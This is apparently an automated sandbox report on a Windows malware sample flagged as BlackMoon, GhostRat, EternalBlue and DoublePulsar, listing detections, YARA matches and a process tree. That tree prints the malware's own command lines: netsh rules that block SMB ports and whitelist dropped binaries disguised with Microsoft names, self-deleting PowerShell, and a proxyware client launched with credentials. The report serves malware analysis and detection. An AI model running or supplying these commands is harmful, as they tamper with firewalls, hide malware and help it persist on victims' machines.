Edit tour

Windows Analysis Report
exe1.bin.bak.exe

Overview

General Information

Sample name:	exe1.bin.bak.exe
Analysis ID:	1468521
MD5:	ce1d781ff2e37b62bc314b53c6dae49d
SHA1:	9927eafa1c92788774c3653ded4eba03e6b5d96a
SHA256:	9591e4d1090bc5caa1d1db4ebf929d9113fd36e0521d316762f5cff275b4c733
Tags:	32Blackmoonexe
Infos:

Detection

BlackMoon, DoublePulsar, ETERNALBLUE, GhostRat

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

System process connects to network (likely due to code injection or exploit)

Yara detected BlackMoon Ransomware

Yara detected DoublePulsar

Yara detected ETERNALBLUE

Yara detected GhostRat

Yara detected Powershell download and execute

AI detected suspicious sample

Adds new windows firewall policy

Connects to many different private IPs (likely to spread or exploit)

Connects to many different private IPs via SMB (likely to spread or exploit)

Contains functionality to capture and log keystrokes

Contains functionality to detect sleep reduction / modifications

Contains functionality to modify windows services which are used for security filtering and protection

Creates a Windows Service pointing to an executable in C:\Windows

Creates files in the system32 config directory

Deletes itself after installation

Downloads files with wrong headers with respect to MIME Content-Type

Drops executables to the windows directory (C:\Windows) and starts them

Found API chain indicative of sandbox detection

Found evasive API chain checking for user administrative privileges

Found stalling execution ending in API Sleep call

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies the windows firewall

Sigma detected: Suspicious Script Execution From Temp Folder

Uses dynamic DNS services

Uses netsh to modify the Windows network and firewall settings

Yara detected Generic Downloader

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality for read data from the clipboard

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to call native functions

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to clear windows event logs (to hide its activities)

Contains functionality to create new users

Contains functionality to delete services

Contains functionality to download and execute PE files

Contains functionality to dynamically determine API calls

Contains functionality to enumerate network shares

Contains functionality to enumerate running services

Contains functionality to launch a control a shell (cmd.exe)

Contains functionality to modify clipboard data

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates or modifies windows services

Deletes files inside the Windows folder

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found decision node followed by non-executed suspicious APIs

Found dropped PE file which has not been started or loaded

Found evasive API chain (may stop execution after accessing registry keys)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

May check if the current machine is a sandbox (GetTickCount - Sleep)

May sleep (evasive loops) to hinder dynamic analysis

Modifies existing windows services

PE file contains sections with non-standard names

Potential key logger detected (key state polling based)

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Uncommon Svchost Parent Process

Sleep loop found (likely to delay execution)

Too many similar processes found

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Keylogger Generic

Yara signature match

Classification

Process Tree

System is w10x64

exe1.bin.bak.exe (PID: 7644 cmdline: "C:\Users\user\Desktop\exe1.bin.bak.exe" MD5: CE1D781FF2E37B62BC314B53C6DAE49D)

netsh.exe (PID: 7724 cmdline: netsh ipsec static add policy name=Block MD5: 4E89A1A088BE715D6C946E55AB07C7DF)

conhost.exe (PID: 7744 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

netsh.exe (PID: 7816 cmdline: netsh ipsec static add filterlist name=Filter1 MD5: 4E89A1A088BE715D6C946E55AB07C7DF)

conhost.exe (PID: 7824 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

netsh.exe (PID: 7884 cmdline: netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=135 protocol=TCP MD5: 4E89A1A088BE715D6C946E55AB07C7DF)

conhost.exe (PID: 7892 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

netsh.exe (PID: 7940 cmdline: netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=139 protocol=TCP MD5: 4E89A1A088BE715D6C946E55AB07C7DF)

conhost.exe (PID: 7948 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

netsh.exe (PID: 8004 cmdline: netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=445 protocol=TCP MD5: 4E89A1A088BE715D6C946E55AB07C7DF)

conhost.exe (PID: 8012 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

netsh.exe (PID: 8068 cmdline: netsh ipsec static add filteraction name=FilteraAtion1 action=block MD5: 4E89A1A088BE715D6C946E55AB07C7DF)

conhost.exe (PID: 8076 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

netsh.exe (PID: 8124 cmdline: netsh ipsec static add rule name=Rule1 policy=Block filterlist=Filter1 filteraction=FilteraAtion1 MD5: 4E89A1A088BE715D6C946E55AB07C7DF)

conhost.exe (PID: 8132 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

netsh.exe (PID: 6948 cmdline: netsh ipsec static set policy name=Block assign=y MD5: 4E89A1A088BE715D6C946E55AB07C7DF)

conhost.exe (PID: 7192 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7344 cmdline: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Start-Sleep -s 2;del "C:\Users\user\Desktop\exe1.bin.bak.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7332 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

MpMgSvc.exe (PID: 7432 cmdline: "C:\WINDOWS\Temp\MpMgSvc.exe" MD5: 3809C59565787EE7398FE9222D4BD669)

Wmicc.exe (PID: 15416 cmdline: "C:\Windows\Temp\Wmicc.exe" MD5: 4935B75F2A23D38527CF3821C9D9DAC3)

svchost.exe (PID: 11076 cmdline: C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

Hooks.exe (PID: 12108 cmdline: "C:\WINDOWS\Temp\Hooks.exe" MD5: 1AF2DA7B95CDBBD5A18461E5D5FE910A)

powershell.exe (PID: 12400 cmdline: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Start-Sleep -s 2;del "C:\WINDOWS\Temp\Hooks.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 12464 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

svchost.exe (PID: 12364 cmdline: C:\Windows\SysWOW64\svchost.exe -k GraphicsPerfSvcsGroup -s GraphicsPerfSvcs MD5: 1ED18311E3DA35942DB37D15FA40CC5B)

svchost.exe (PID: 12440 cmdline: "C:\Windows\system32\svchost.exe" MD5: 1ED18311E3DA35942DB37D15FA40CC5B)

netsh.exe (PID: 12452 cmdline: netsh advfirewall firewall add rule name=Microsoft_ctfmoon dir=in program=C:\Windows\Microsoft.NET\ctfmoon.exe action=allow MD5: 4E89A1A088BE715D6C946E55AB07C7DF)

conhost.exe (PID: 12488 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

netsh.exe (PID: 12968 cmdline: netsh advfirewall firewall add rule name=Microsoft_ctfmoon dir=out program=C:\Windows\Microsoft.NET\ctfmoon.exe action=allow MD5: 4E89A1A088BE715D6C946E55AB07C7DF)

conhost.exe (PID: 12988 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

netsh.exe (PID: 12532 cmdline: netsh advfirewall firewall set rule name=Microsoft_ctfmoon new enable=yes MD5: 4E89A1A088BE715D6C946E55AB07C7DF)

conhost.exe (PID: 12108 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

netsh.exe (PID: 13556 cmdline: netsh advfirewall firewall add rule name=Microsoft_Edge dir=in program=C:\Windows\Microsoft.NET\Meson.exe action=allow MD5: 4E89A1A088BE715D6C946E55AB07C7DF)

conhost.exe (PID: 13580 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

netsh.exe (PID: 13776 cmdline: netsh advfirewall firewall add rule name=Microsoft_Edge dir=out program=C:\Windows\Microsoft.NET\Meson.exe action=allow MD5: 4E89A1A088BE715D6C946E55AB07C7DF)

conhost.exe (PID: 13792 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

netsh.exe (PID: 14248 cmdline: netsh advfirewall firewall set rule name=Microsoft_Edge new enable=yes MD5: 4E89A1A088BE715D6C946E55AB07C7DF)

conhost.exe (PID: 14288 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

netsh.exe (PID: 13040 cmdline: netsh advfirewall firewall add rule name=Microsoft_Dcom dir=in program=C:\Windows\Microsoft.NET\traffmonetizer\traffmonetizer.exe action=allow MD5: 4E89A1A088BE715D6C946E55AB07C7DF)

conhost.exe (PID: 6464 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

netsh.exe (PID: 14588 cmdline: netsh advfirewall firewall add rule name=Microsoft_Dcom dir=out program=C:\Windows\Microsoft.NET\traffmonetizer\traffmonetizer.exe action=allow MD5: 4E89A1A088BE715D6C946E55AB07C7DF)

conhost.exe (PID: 14604 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

netsh.exe (PID: 14812 cmdline: netsh advfirewall firewall set rule name=Microsoft_Dcom new enable=yes MD5: 4E89A1A088BE715D6C946E55AB07C7DF)

conhost.exe (PID: 14828 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

netsh.exe (PID: 15140 cmdline: netsh advfirewall firewall add rule name=Microsoft_Store dir=in program=C:\WINDOWS\Microsoft.Net\Framework\v3.0\WmiPrvSER.exe action=allow MD5: 4E89A1A088BE715D6C946E55AB07C7DF)

conhost.exe (PID: 15156 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

netsh.exe (PID: 14416 cmdline: netsh advfirewall firewall add rule name=Microsoft_Store dir=out program=C:\WINDOWS\Microsoft.Net\Framework\v3.0\WmiPrvSER.exe action=allow MD5: 4E89A1A088BE715D6C946E55AB07C7DF)

conhost.exe (PID: 14488 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

netsh.exe (PID: 10852 cmdline: netsh advfirewall firewall set rule name=Microsoft_Store new enable=yes MD5: 4E89A1A088BE715D6C946E55AB07C7DF)

conhost.exe (PID: 14356 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ctfmoon.exe (PID: 15824 cmdline: C:\Windows\Microsoft.NET\ctfmoon.exe -email=usax138@protonmail.com -password=123456Aa. -device-name=Win32 -accept-tos MD5: 1DE26EF85F7218E1DF4ED675FA2B05D4)

conhost.exe (PID: 17448 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Meson.exe (PID: 23912 cmdline: C:\Windows\Microsoft.NET\Meson.exe MD5: 87C8B215C031443D630DA6C18088F89A)

conhost.exe (PID: 24248 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Traffmonetizer.exe (PID: 31264 cmdline: C:\Windows\Microsoft.NET\traffmonetizer\traffmonetizer.exe MD5: 2884FDEAA62F29861CE2645DDE0040F6)

svchost.exe (PID: 32360 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
KrBanker, BlackMoon	ThreatPost describes KRBanker (Blackmoon) as a banking Trojan designed to steal user credentials from various South Korean banking institutions. It was discovered in early 2014 and since then has adopted a variety of infection and credential stealing techniques.	No Attribution	http://researchcenter.paloaltonetworks.com/2016/05/unit42-krbanker-targets-south-korea-through-adware-and-exploit-kits-2/ https://fidelissecurity.com/threatgeek/threat-intelligence/blackmoon-banking-trojan-new-framework/ https://www.peppermalware.com/2019/03/analysis-of-blackmoon-banking-trojans.html https://www.proofpoint.com/us/threat-insight/post/Updated-Blackmoon-Banking-Trojan https://www.rapid7.com/blog/post/2023/07/13/old-blackmoon-trojan-new-monetization-approach/	https://malpedia.caad.fkie.fraunhofer.de/details/win.krbanker

Name	Description	Attribution	Blogpost URLs	Link
DoublePulsar		Equation Group UPS	https://github.com/countercept/doublepulsar-c2-traffic-decryptor https://labs.nettitude.com/blog/a-quick-analysis-of-the-latest-shadow-brokers-dump/ https://www.symantec.com/blogs/threat-intelligence/buckeye-windows-zero-day-exploit https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/	https://malpedia.caad.fkie.fraunhofer.de/details/win.doublepulsar

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Windows\Temp\Eternalblue-2.2.0.xml	INDICATOR_TOOL_EXP_EternalBlue	Detects Windows executables containing EternalBlue explitation artifacts	ditekSHen	0x764:$dp1: EXPLOIT_SHELLCODE 0x451:$dp2: ETERNALBLUE_VALIDATE_BACKDOOR 0x9a5:$dp3: ETERNALBLUE_DOUBLEPULSAR_PRESENT 0xbbe:$dp4: //service[name='smb']/port
C:\Windows\Temp\coli-0.dll	INDICATOR_TOOL_EXP_EternalBlue	Detects Windows executables containing EternalBlue explitation artifacts	ditekSHen	0x3129:$ci2: coli_ 0x3135:$ci2: coli_ 0x3141:$ci2: coli_ 0x3151:$ci2: coli_ 0x315c:$ci2: coli_ 0x316c:$ci2: coli_ 0x317d:$ci3: mainWrapper
C:\Windows\Temp\Eternalblue-2.2.0.exe	JoeSecurity_ETERNALBLUE	Yara detected ETERNALBLUE	Joe Security
C:\Windows\Temp\Eternalblue-2.2.0.exe	INDICATOR_TOOL_EXP_EternalBlue	Detects Windows executables containing EternalBlue explitation artifacts	ditekSHen	0x1b818:$ci2: coli_ 0x1b834:$ci2: coli_ 0x1b848:$ci2: coli_ 0x1b85a:$ci2: coli_ 0x1b868:$ci2: coli_ 0x1b87a:$ci2: coli_ 0x1b826:$ci3: mainWrapper
C:\Windows\Temp\Doublepulsar-1.3.1.xml	INDICATOR_TOOL_EXP_EternalBlue	Detects Windows executables containing EternalBlue explitation artifacts	ditekSHen	0xd25:$dp1: EXPLOIT_SHELLCODE 0x1034:$dp1: EXPLOIT_SHELLCODE 0x33d:$dp5: DOUBLEPULSAR_PROTOCOL_ 0x4dd:$dp5: DOUBLEPULSAR_ARCHITECTURE_ 0x64b:$dp5: DOUBLEPULSAR_FUNCTION_ 0x8e2:$dp5: DOUBLEPULSAR_DLL_ 0x972:$dp5: DOUBLEPULSAR_DLL_ 0xa65:$dp5: DOUBLEPULSAR_PROCESS_ 0xb4b:$dp5: DOUBLEPULSAR_COMMAND_ 0xea8:$dp5: DOUBLEPULSAR_FUNCTION_ 0x114f:$dp5: DOUBLEPULSAR_IS_64_BIT 0x1246:$dp5: DOUBLEPULSAR_IS_64_BIT 0x1337:$dp5: DOUBLEPULSAR_IS_64_BIT
C:\Windows\Temp\Eternalromance-1.4.0.exe	EquationGroup_Toolset_Apr17_Doublepulsar_1_3_1	Detects EquationGroup Tool - April Leak	Florian Roth	0x8d6c:$x3: [-] Error setting ShellcodeFile name
C:\Windows\Temp\Eternalromance-1.4.0.exe	EquationGroup_Toolset_Apr17_Eternalromance_2	Detects EquationGroup Tool - April Leak	Florian Roth	0x7a21:$x1: [+] Backdoor shellcode written 0x786c:$x2: [*] Attempting exploit method %d
C:\Windows\Temp\Eternalromance-1.4.0.exe	EquationGroup_Toolset_Apr17_Eternalromance	Detects EquationGroup Tool - April Leak	Florian Roth	0x8c45:$x1: [-] Error: Exploit choice not supported for target OS!! 0x88f0:$x2: Error: Target machine out of NPP memory (VERY BAD!!) - Backdoor removed 0x89c9:$x3: [-] Error: Backdoor not present on target 0x7674:$x4: ********* TARGET ARCHITECTURE IS X64 **********
C:\Windows\Temp\Eternalromance-1.4.0.exe	INDICATOR_TOOL_EXP_EternalBlue	Detects Windows executables containing EternalBlue explitation artifacts	ditekSHen	0x97c2:$ci2: coli_ 0x97de:$ci2: coli_ 0x97f2:$ci2: coli_ 0x9804:$ci2: coli_ 0x9812:$ci2: coli_ 0x9824:$ci2: coli_ 0x97d0:$ci3: mainWrapper
C:\Windows\Temp\Wmicc.exe	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
C:\Windows\Temp\Wmicc.exe	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
C:\Windows\Temp\Wmicc.exe	MALWARE_Win_BlackMoon	Detects executables using BlackMoon RunTime	ditekSHen	0x162abc:$s1: blackmoon 0x162afc:$s2: BlackMoon RunTime Error:
C:\Windows\Temp\Eternalromance-1.4.0.xml	INDICATOR_TOOL_EXP_EternalBlue	Detects Windows executables containing EternalBlue explitation artifacts	ditekSHen	0x9b6:$dp1: EXPLOIT_SHELLCODE 0x48d7:$dp4: //service[name='smb']/port
C:\Windows\Temp\dmgd-4.dll	Windows_Exploit_Eternalblue_ead33bf8	unknown	unknown	0xb858:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0xcff0:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0xe5a8:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x15150:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x168e8:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x17ea0:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x1e5e4:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x1fc80:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x21150:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x2788c:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x28f28:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x2a3f8:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x2d398:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x30340:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x3379c:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x36c1c:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x3d818:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x3efd0:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x405a4:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x47178:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x48930:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75
C:\Windows\Microsoft.NET\traffmonetizer\netstandard.dll	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
C:\Windows\Temp\Doublepulsar-1.3.1.exe	JoeSecurity_DoublePulsar	Yara detected DoublePulsar	Joe Security
C:\Windows\Temp\Doublepulsar-1.3.1.exe	EquationGroup_Toolset_Apr17_Erraticgopher_1_0_1	Detects EquationGroup Tool - April Leak	Florian Roth	0x4898:$x1: [-] Error appending shellcode buffer
C:\Windows\Temp\Doublepulsar-1.3.1.exe	EquationGroup_Toolset_Apr17_Doublepulsar_1_3_1	Detects EquationGroup Tool - April Leak	Florian Roth	0x4735:$x1: [+] Ping returned Target architecture: %s - XOR Key: 0x%08X 0x3e9d:$x2: [.] Sending shellcode to inject DLL 0x39fc:$x3: [-] Error setting ShellcodeFile name
C:\Windows\Temp\Doublepulsar-1.3.1.exe	INDICATOR_TOOL_EXP_EternalBlue	Detects Windows executables containing EternalBlue explitation artifacts	ditekSHen	0x50ac:$ci2: coli_ 0x50c0:$ci2: coli_ 0x50d2:$ci2: coli_ 0x50e0:$ci2: coli_ 0x50f2:$ci2: coli_ 0x5100:$ci2: coli_ 0x509e:$ci3: mainWrapper
C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\GraphicsPerfSvcs.dll	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\GraphicsPerfSvcs.dll	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\GraphicsPerfSvcs.dll	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\GraphicsPerfSvcs.dll	MALWARE_Win_Nitol	Detects Nitol backdoor	ditekSHen	0x17921c9:$s1: %$#@!.aspGET ^&().htmlGET 0x17921f1:$s1: %$#@!.aspGET ^&().htmlGET 0x179220c:$s1: %$#@!.aspGET ^&().htmlGET 0x1792234:$s1: %$#@!.aspGET ^&().htmlGET 0x179224f:$s1: %$#@!.aspGET ^&().htmlGET 0x1792291:$s1: %$#@!.aspGET ^&().htmlGET 0x17922d3:$s1: %$#@!.aspGET ^&().htmlGET 0x17922fb:$s1: %$#@!.aspGET ^&().htmlGET 0x1792316:$s1: %$#@!.aspGET ^&().htmlGET 0x179233e:$s1: %$#@!.aspGET ^&().htmlGET 0x1792359:$s1: %$#@!.aspGET ^&().htmlGET 0x179239b:$s1: %$#@!.aspGET ^&().htmlGET 0x17923dd:$s1: %$#@!.aspGET ^&().htmlGET 0x1792405:$s1: %$#@!.aspGET ^&().htmlGET 0x1792420:$s1: %$#@!.aspGET ^&().htmlGET 0x1792448:$s1: %$#@!.aspGET ^&().htmlGET 0x1792463:$s1: %$#@!.aspGET ^&().htmlGET 0x17924a5:$s1: %$#@!.aspGET ^&().htmlGET 0x17924e7:$s1: %$#@!.aspGET ^&().htmlGET 0x179250f:$s1: %$#@!.aspGET ^&().htmlGET 0x179252a:$s1: %$#@!.aspGET ^&*().htmlGET
C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\GraphicsPerfSvcs.dll	MALWARE_Win_BlackMoon	Detects executables using BlackMoon RunTime	ditekSHen	0x179b190:$s1: blackmoon 0x179b1d0:$s2: BlackMoon RunTime Error:
Click to see the 19 entries

Memory Dumps

Source	Rule	Description	Author	Strings
0000001A.00000002.2174361493.0000000001B8F000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0000001A.00000002.2174361493.0000000001B8F000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
0000001A.00000002.2174361493.0000000001B8F000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000037.00000000.2244665996.0000000000424000.00000008.00000001.01000000.0000000B.sdmp	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
0000001B.00000003.2174119491.0000000002E53000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
00000015.00000002.4094624711.0000000000401000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
0000001A.00000002.2174361493.0000000001BD5000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmp	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
0000001B.00000002.4117022805.000000001179A000.00000004.00000001.01000000.0000000A.sdmp	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
0000001B.00000002.4100759161.000000001176C000.00000008.00000001.01000000.0000000A.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_ETERNALBLUE	Yara detected ETERNALBLUE	Joe Security
00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_DoublePulsar	Yara detected DoublePulsar	Joe Security
00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmp	Windows_Exploit_Eternalblue_ead33bf8	unknown	unknown	0x2eae4:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x3027c:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x31834:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x383dc:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x39b74:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x3b12c:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x41870:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x42f0c:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x443dc:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x4ab18:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x4c1b4:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x4d684:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x50624:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x535cc:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x56a28:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x59ea8:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x60aa4:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x6225c:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x63830:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x6a404:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x6bbbc:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75
